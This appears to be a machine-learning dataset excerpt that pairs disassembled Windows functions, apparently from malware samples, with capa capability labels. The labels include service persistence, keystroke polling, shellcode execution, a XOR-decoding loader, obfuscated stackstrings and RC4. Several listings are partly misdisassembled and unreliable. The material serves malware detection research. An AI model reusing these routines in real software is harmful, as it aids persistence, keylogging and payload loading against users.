joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002000
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [esp + 4], ebx
test ebx, ebx
je 0x100020c1
mov eax, dword [esp + 0x28]
push esi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x100020af
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
je 0x100020a7
cmp dword [esp + 0x14], 1
je 0x100020a7
lea edx, [esp + 0x10]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100020a7
cmp dword [esp + 0x14], 3
jne 0x100020a7
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
push 0xa
call ebx
lea eax, [esp + 0x10]
push eax
push esi
call edi
cmp dword [esp + 0x14], 3
je 0x10002090
mov ebx, dword [esp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, 1
pop ebx
add esp, 0x20
ret
xor eax, eax
pop ebx
add esp, 0x20
ret
Function at 0x100022f0
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
lea ebp, [esp - 0x20c]
sub esp, 0x20c
push 0xfffffffffffffffe
push 0x1000f1a0
push 0x10003d20
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x10010030]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp + 0x208], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, edx
mov eax, dword [ebp + 0x214]
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1000242c
push esi
push esi
push esi
push esi
push esi
push str._SystemRoot_System32_svchost.exe__k_kuaizipupdatesvc
push esi
push 2
push 0x10
push 0xf01ff
push ebx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
jne 0x100023be
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x100023be
push 0xf01ff
push edi
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x1000242c
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push edi
push str.SYSTEMCurrentControlSetServices_s
lea edx, [ebp]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov edx, dword [ebp - 0x2c]
mov eax, edx
lea edi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100023f0
sub eax, edi
sar eax, 1
add eax, eax
push eax
push edx
push 1
push 0
push str.Description
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x1000242c
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.10002463
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10002836
add ebp, 0x20c
mov esp, ebp
pop ebp
ret

Function at 0x10002836
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10010030]
jne 0x10002840
repz ret
jmp fcn.10003eac
Function at 0x1000ac07
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10004e2a
and dword [ebp - 4], 0
cmp dword [0x10011b74], 0
mov ebx, eax
jne 0x1000acb8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000ad69
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000ad69
push eax
call fcn.10004db8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10011b74], eax
call esi
push eax
call fcn.10004db8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10011b78], eax
call esi
push eax
call fcn.10004db8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10011b7c], eax
call esi
push eax
call fcn.10004db8
pop ecx
mov dword [0x10011b84], eax
test eax, eax
je 0x1000acb8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10004db8
pop ecx
mov dword [0x10011b80], eax
mov eax, dword [0x10011b80]
cmp eax, ebx
je 0x1000ad10
cmp dword [0x10011b84], ebx
je 0x1000ad10
push eax
call fcn.10004e33
push dword [0x10011b84]
mov esi, eax
call fcn.10004e33
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000ad10
test edi, edi
je 0x1000ad10
call esi
test eax, eax
je 0x1000ad07
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000ad07
test byte [ebp - 0xc], 1
jne 0x1000ad10
or dword [ebp + 0x10], 0x200000
jmp 0x1000ad49
mov eax, dword [0x10011b78]
cmp eax, ebx
je 0x1000ad49
push eax
call fcn.10004e33
pop ecx
test eax, eax
je 0x1000ad49
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000ad49
mov eax, dword [0x10011b7c]
cmp eax, ebx
je 0x1000ad49
push eax
call fcn.10004e33
pop ecx
test eax, eax
je 0x1000ad49
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10011b74]
call fcn.10004e33
pop ecx
test eax, eax
je 0x1000ad69
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000ad6b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401ca0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 0x84, 0
sub ebp, 0x82
mov esi, eax
mov edx, dword [0x404080]
or dl, 1
imul edx, eax
mov eax, dword [0x404080]
sub eax, edx
mov ebx, esi
mov edx, eax
mov eax, 0x404084
call fcn.00401be9
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x4034ed
push eax
sub edi, fcn.00402c97
push edi
push fcn.00402c97
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x401d1c
mov eax, fcn.00402c97
mov ebx, esi
mov edx, edi
call fcn.00401be9
mov edx, 0x1c000
mov eax, 0x404084
mov ebx, esi
call section.AUTO
lea edx, [ebp - 2]
mov eax, esi
mov dword [ebp - 2], 1
call fcn.0040189e
lea edx, [esi + 0x1c000]
add edx, esi
lea eax, [esi - 1]
lea ebx, [ebp - 2]
and eax, 0x404084
call fcn.00402c97
lea esp, [ebp + 0x82]
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x4041c0
Capabilities:
Check os version
Get system information on windows

Disassembly:
sub esp, 0xc4
mov eax, dword [0x438ab4]
xor eax, esp
mov dword [esp + 0xc0], eax
xor eax, eax
push ebp
push edi
push 0x9c
push eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x34]
mov dword [esi], 0xa
push eax
mov dword [ebx], 5
call fcn.004108c0
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], 0x9c
call edi
mov ebp, eax
test ebp, ebp
jne 0x404262
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], 0x94
call edi
test eax, eax
jne 0x404262
pop edi
xor al, al
pop ebp
mov ecx, dword [esp + 0xc0]
xor ecx, esp
call fcn.0040f653
add esp, 0xc4
ret
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x3c]
sub eax, 0
je 0x404390
sub eax, 1
je 0x40433b
sub eax, 1
jne 0x404396
mov edi, dword [esp + 0x30]
mov edx, dword [esp + 8]
mov cl, byte [esp + 0xc6]
cmp edi, 6
jne 0x4042b0
cmp dword [esp + 0x34], eax
jne 0x4042fb
cmp cl, 1
setne al
mov dword [esi], eax
jmp 0x4042fb
cmp edi, 5
jne 0x4042f0
mov eax, dword [esp + 0x34]
cmp eax, 2
jne 0x4042d7
cmp cl, 1
jne 0x4042cf
cmp dx, 9
jne 0x4042cf
mov dword [esi], edi
mov dword [ebx], eax
jmp 0x4042fb
mov dword [esi], 2
jmp 0x4042fb
cmp eax, 1
jne 0x4042e4
mov dword [esi], 5
jmp 0x4042fb
test eax, eax
jne 0x4042fb
mov dword [esi], 3
jmp 0x4042fb
cmp edi, 4
ja 0x4042fb
mov dword [esi], 4
test ebp, ebp
je 0x404396
cmp cl, 1
jne 0x404396
cmp dx, 9
je 0x404396
cmp edi, 4
jne 0x404323
mov dword [ebx], 0
jmp 0x404396
mov ecx, dword [esp + 0xc4]
and ecx, 0x200
neg ecx
sbb ecx, ecx
add ecx, 2
mov dword [ebx], ecx
jmp 0x404396
cmp dword [esp + 0x30], 4
jne 0x404396
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x404364
mov al, byte [esp + 0x41]
mov dword [esi], 7
cmp al, 0x43
je 0x40435c
cmp al, 0x42
jne 0x404396
mov dword [ebx], 4
jmp 0x404396
cmp eax, 0xa
jne 0x404383
mov al, byte [esp + 0x41]
mov dword [esi], 6
cmp al, 0x41
je 0x40437b
cmp al, 0x42
jne 0x404396
mov dword [ebx], 3
jmp 0x404396
cmp eax, 0x5a
jne 0x404396
mov dword [esi], 8
jmp 0x404396
mov dword [esi], 9
mov ecx, dword [esp + 0xc8]
pop edi
pop ebp
xor ecx, esp
mov al, 1
call fcn.0040f653
add esp, 0xc4
ret
Function at 0x4086f3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esp + edi*8 - 0x39bb0001], edi
test dword [ebp + 0x55fffffc], edi
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00407e7f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407e34
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00407e7f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407e34
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.00407e7f
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00407e34
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.00407e6f
aam 0x82
call 0xcce60978
cli
invalid

Function at 0x4092d4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x72a5b], al
inc dword [eax]
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
fdivp st(0)
invalid
call dword [ecx - 0x3a]
test edi, ebx
clc
invalid
jmp [ebp - 0x3a]
test eax, esp
clc
invalid
dec dword [edi - 0x3a]
test ecx, esp
clc
invalid
call dword [edx - 0x3a]
test edx, esp
clc
invalid
dec dword [ecx - 0x3a]
test ebx, esp
clc
invalid
call [eax - 0x3a]
test esp, esp
clc
invalid
call [esi - 0x3a]
test ebp, esp
clc
invalid
dec dword [ecx - 0x3a]
test esi, esp
clc
invalid
invalid
cmp eax, 0xffeb17e8
invalid
fisttp dword [edx - 0x7a72c2d6]
invalid
test esp, edx
clc
invalid
Function at 0x409b28
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [eax - 0x18]
push eax
jecxz 0x409b2d
invalid
call [ecx + 0x50]
mov eax, dword [ebp - 0x550]
lea eax, [ebp + eax - 0x654]
push eax
call fcn.00407de0
loop 0x409b42
inc dword [ebx - 0x7a72f33c]
lodsb al, byte [esi]
stc
invalid
dec dword [ecx - 0x39f7b]
invalid
jmp fcn.00409de7

Function at 0x40f653
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x438ab4]
jne 0x40f65d
repz ret
jmp fcn.0041353b

Function at 0x41ecfd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00413ea2
and dword [ebp - 4], 0
cmp dword [0x43ca8c], 0
mov ebx, eax
jne 0x41edae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41ee5f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x431bd4
push edi
call esi
test eax, eax
je 0x41ee5f
push eax
call fcn.00413e30
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43ca8c], eax
call esi
push eax
call fcn.00413e30
mov dword [esp], 0x431bb0
push edi
mov dword [0x43ca90], eax
call esi
push eax
call fcn.00413e30
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43ca94], eax
call esi
push eax
call fcn.00413e30
pop ecx
mov dword [0x43ca9c], eax
test eax, eax
je 0x41edae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00413e30
pop ecx
mov dword [0x43ca98], eax
mov eax, dword [0x43ca98]
cmp eax, ebx
je 0x41ee06
cmp dword [0x43ca9c], ebx
je 0x41ee06
push eax
call fcn.00413eab
push dword [0x43ca9c]
mov esi, eax
call fcn.00413eab
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41ee06
test edi, edi
je 0x41ee06
call esi
test eax, eax
je 0x41edfd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41edfd
test byte [ebp - 0xc], 1
jne 0x41ee06
or dword [ebp + 0x10], 0x200000
jmp 0x41ee3f
mov eax, dword [0x43ca90]
cmp eax, ebx
je 0x41ee3f
push eax
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee3f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41ee3f
mov eax, dword [0x43ca94]
cmp eax, ebx
je 0x41ee3f
push eax
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee3f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43ca8c]
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee5f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41ee61
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43a90c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x43a989
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0043a36c
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, 0x3e8
jbe 0x43a931
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00439f6c
cmp dword [ebp - 4], 0
je 0x43a973
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404780
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a990
lea eax, [ebp - 4]
call fcn.004042b0
ret

Function at 0x441078
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x4410c4
mov eax, esi
call fcn.00456914
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4410c4
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x4410c4
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x441203
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x441104
cmp eax, 0x108
ja 0x441104
mov eax, esi
call fcn.00456914
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4411fa
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x441203
jmp 0x4411fa
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x4411e3
cmp eax, 0x20a
ja 0x4411e3
test byte [esi + 0x50], 0x80
jne 0x441136
sub eax, 0x203
je 0x441133
sub eax, 3
je 0x441133
sub eax, 3
jne 0x441136
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x44114a
dec eax
je 0x44115f
dec eax
je 0x44117c
dec eax
je 0x44115f
jmp 0x441183
mov ecx, ebx
mov eax, dword [0x4d5610]
mov eax, dword [eax]
mov edx, esi
call fcn.00460160
jmp 0x4411fa
cmp byte [esi + 0x5d], 1
jne 0x441175
mov eax, esi
mov si, 0xffed
call fcn.00403674
jmp 0x441203
or word [esi + 0x54], 1
jmp 0x4411fa
and word [esi + 0x54], 0xfffe
jmp 0x4411fa
mov eax, dword [0x4d6b44]
cmp byte [eax + 0x20], 0
je 0x4411fa
mov eax, dword [0x4d6b44]
cmp dword [eax + 0x1c], 0
je 0x4411fa
mov eax, dword [ebx]
mov edx, dword [0x4d6b44]
cmp eax, dword [edx + 0x1c]
jne 0x4411fa
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00456858
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403674
jmp 0x441203
cmp eax, 0xb00b
jne 0x4411fa
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0043f9a4
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000be60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000be69
ret
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
push edx
push ecx
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1000c61e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10024140], 0
push esi
push edi
jne 0x1000c594
call fcn.1000c500
test eax, eax
je 0x1000c5d9
mov eax, dword [0x10024140]
cmp eax, 1
jne 0x1000c5b5
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000c5d9
jmp 0x1000c61b
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000c61b
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000c5dd
xor eax, eax
jmp 0x1000c61b
mov eax, dword [esi]
push dword [0x10024140]
call edi
mov edi, eax
test edi, edi
je 0x1000c5ff
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000c61b
lea edi, [esi + 0xff0]
push esi
push dword [0x10024140]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000c605
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000c580

Function at 0x1000cc2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10022cac]
jne 0x1000cc34
repz ret
jmp fcn.10010608

Function at 0x10016006
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10016015
pop dword [ebp - 0x34]
mov eax, 0x10016015
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3a5a4
push 0
mov eax, 0x78ca1110
add eax, 0x9737a0a0
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0xda96f992
add ecx, 0x25694f03
xor edx, edx
add edx, eax
mov ebx, 0x1002b200
add ebx, dword [ebp - 0x34]
mov edi, 0x73f6f569
add edi, 0xd2ab46b9
xor dword [ebp - 0x1c], eax
mov esi, dword [ebx]
xor esi, edi
mov dword [ebp - 0x14], 0xf945cf00
mov dword [edx], esi
sub dword [ebp - 0x2c], 0x456d0b3c
add edx, 4
add ebx, 0xf1ab94bf
add ebx, 0xe546b45
loop 0x1001606b
add eax, 0x2b4f89cd
sub eax, 0x2b4e74a6
mov ebx, eax
add eax, 0xc1a064c1
add eax, 0x3e5f9b44
mov ecx, 0xf808535c
add ecx, 0x17f7aca4
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x403f80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x422b90], 0
xorps xmm0, xmm0
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
movlpd qword [ebp - 8], xmm0
je 0x403fba
mov edx, dword [0x422ba0]
test edx, edx
je 0x403fba
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x403fba
xor esi, esi
lea edi, [esi + 1]
jmp 0x403fc0
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
cmp dword [0x422cb0], 0
je 0x403fe2
mov edx, dword [0x422cc0]
test edx, edx
je 0x403fe2
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x403fe2
or edi, 2
cmp dword [0x422dd0], 0
je 0x404004
mov edx, dword [0x422de0]
test edx, edx
je 0x404004
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x404004
or edi, 4
cmp dword [0x422ef0], 0
je 0x404026
mov edx, dword [0x422f00]
test edx, edx
je 0x404026
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x404026
or edi, 8
cmp dword [0x423010], 0
je 0x404048
mov edx, dword [0x423020]
test edx, edx
je 0x404048
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x404048
or edi, 0x10
cmp dword [0x423130], 0
je 0x40406a
mov edx, dword [0x423140]
test edx, edx
je 0x40406a
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x40406a
or edi, 0x20
cmp dword [0x423250], 0
je 0x40408c
mov edx, dword [0x423260]
test edx, edx
je 0x40408c
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x40408c
or edi, 0x40
cmp dword [0x423370], 0
je 0x4040b1
mov edx, dword [0x423380]
test edx, edx
je 0x4040b1
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x4040b1
or edi, 0x80
cmp dword [0x423490], 0
je 0x4040d6
mov edx, dword [0x4234a0]
test edx, edx
je 0x4040d6
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x4040d6
or edi, 0x100
cmp dword [0x4235b0], 0
je 0x4040fb
mov edx, dword [0x4235c0]
test edx, edx
je 0x4040fb
movzx eax, byte [ecx + 0x11c]
cmp dword [edx + 4], eax
jne 0x4040fb
or edi, 0x200
xor edx, edx
mov ebx, 0x4236e8
mov dword [ebp - 4], edx
cmp dword [ebx - 0x10], 0
je 0x40413e
mov ecx, dword [ebx]
test ecx, ecx
je 0x40413e
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + 0x11c]
cmp dword [ecx + 4], eax
jne 0x40413e
mov eax, edx
xor ecx, ecx
xor edx, edx
bts ecx, eax
cmp eax, 0x20
cmovae edx, ecx
xor ecx, edx
cmp eax, 0x40
cmovae edx, ecx
or esi, ecx
or edi, edx
mov edx, dword [ebp - 4]
inc edx
add ebx, 0x120
mov dword [ebp - 4], edx
cmp ebx, 0x425428
jl 0x404105
mov edx, edi
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret